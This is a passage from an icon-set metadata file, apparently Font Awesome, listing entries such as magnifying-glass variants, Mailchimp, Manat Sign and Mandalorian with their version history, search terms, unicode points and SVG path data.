        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM241 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31H120c-13.3 0-24 10.7-24 24s10.7 24 24 24H238.1l-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9l-72-72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM241 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31H120c-13.3 0-24 10.7-24 24s10.7 24 24 24H238.1l-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9l-72-72z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-chart": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " data",
        " graph",
        " intelligence",
        "analysis",
        "chart",
        "market"
      ]
    },
    "styles": ["solid"],
    "unicode": "e522",
    "label": "Magnifying Glass Chart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zm-312 8v64c0 13.3 10.7 24 24 24s24-10.7 24-24l0-64c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80-96V280c0 13.3 10.7 24 24 24s24-10.7 24-24V120c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80 64v96c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zm-312 8v64c0 13.3 10.7 24 24 24s24-10.7 24-24l0-64c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80-96V280c0 13.3 10.7 24 24 24s24-10.7 24-24V120c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80 64v96c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-dollar": {
    "aliases": {
      "names": ["search-dollar"],
      "unicodes": {
        "secondary": ["10f688"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "enlarge",
        "find",
        "magnify",
        "money",
        "preview",
        "zoom"
      ]
    },
    "styles": ["solid"],
    "unicode": "f688",
    "label": "Magnifying Glass Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM228 104c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V312c0 11 9 20 20 20s20-9 20-20V298.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V104z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM228 104c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V312c0 11 9 20 20 20s20-9 20-20V298.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V104z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-location": {
    "aliases": {
      "names": ["search-location"],
      "unicodes": {
        "secondary": ["10f689"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "find", "magnify", "preview", "zoom"]
    },
    "styles": ["solid"],
    "unicode": "f689",
    "label": "Magnifying Glass Location",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM288 176c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 48.8 46.5 111.6 68.6 138.6c6 7.3 16.8 7.3 22.7 0c22.1-27 68.6-89.8 68.6-138.6zm-112 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM288 176c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 48.8 46.5 111.6 68.6 138.6c6 7.3 16.8 7.3 22.7 0c22.1-27 68.6-89.8 68.6-138.6zm-112 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-minus": {
    "aliases": {
      "names": ["search-minus"],
      "unicodes": {
        "secondary": ["10f010"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["minify", "negative", "smaller", "zoom", "zoom out"]
    },
    "styles": ["solid"],
    "unicode": "f010",
    "label": "Magnifying Glass Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM136 184c-13.3 0-24 10.7-24 24s10.7 24 24 24H280c13.3 0 24-10.7 24-24s-10.7-24-24-24H136z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM136 184c-13.3 0-24 10.7-24 24s10.7 24 24 24H280c13.3 0 24-10.7 24-24s-10.7-24-24-24H136z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-plus": {
    "aliases": {
      "names": ["search-plus"],
      "unicodes": {
        "secondary": ["10f00e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "magnify", "positive", "zoom", "zoom in"]
    },
    "styles": ["solid"],
    "unicode": "f00e",
    "label": "Magnifying Glass Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM184 296c0 13.3 10.7 24 24 24s24-10.7 24-24V232h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H232V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM184 296c0 13.3 10.7 24 24 24s24-10.7 24-24V232h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H232V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z"
      }
    },
    "free": ["solid"]
  },
  "mailchimp": {
    "changes": ["5.1.0", "5.7.0", "5.8.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f59e",
    "label": "Mailchimp",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"
      }
    },
    "free": ["brands"]
  },
  "manat-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Manat Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1d5",
    "label": "Manat Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 32c-17.7 0-32 14.3-32 32V98.7C69.2 113.9 0 192.9 0 288V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-59.6 40.8-109.8 96-124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V164c55.2 14.2 96 64.3 96 124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-95.1-69.2-174.1-160-189.3V64c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 32c-17.7 0-32 14.3-32 32V98.7C69.2 113.9 0 192.9 0 288V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-59.6 40.8-109.8 96-124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V164c55.2 14.2 96 64.3 96 124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-95.1-69.2-174.1-160-189.3V64c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "mandalorian": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50f",
    "label": "Mandalorian",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 